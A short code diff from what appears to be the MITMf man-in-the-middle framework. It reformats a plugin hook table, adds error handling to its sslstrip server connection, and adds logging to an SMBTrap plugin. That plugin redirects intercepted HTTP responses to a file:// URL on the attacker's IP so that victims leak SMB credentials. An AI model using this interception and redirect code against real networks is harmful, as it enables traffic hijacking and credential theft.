diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 35d037d..4a8a509 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -44,7 +44,12 @@ class ProxyPlugins: _instance = None plist = [] - mthdDict = {"connectionMade": "clientRequest", "handleStatus": "serverResponseStatus", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"} + mthdDict = {"connectionMade": "clientRequest", + "handleStatus": "serverResponseStatus", + "handleResponse": "serverResponse", + "handleHeader": "serverHeaders", + "handleEndHeaders":"serverHeaders"} + pmthds = {} @staticmethod diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 65503d1..0126675 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -120,7 +120,11 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - version, code, message = self.plugins.hook() + try: + version, code, message = self.plugins.hook() + except ValueError: + pass + mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py index 7110140..157c1d5 100644 --- a/plugins/SMBTrap.py +++ b/plugins/SMBTrap.py @@ -20,4 +20,5 @@ class SMBTrap(Plugin): return (version, 302, "Found") def serverHeaders(self, response, request): + mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) \ No newline at end of file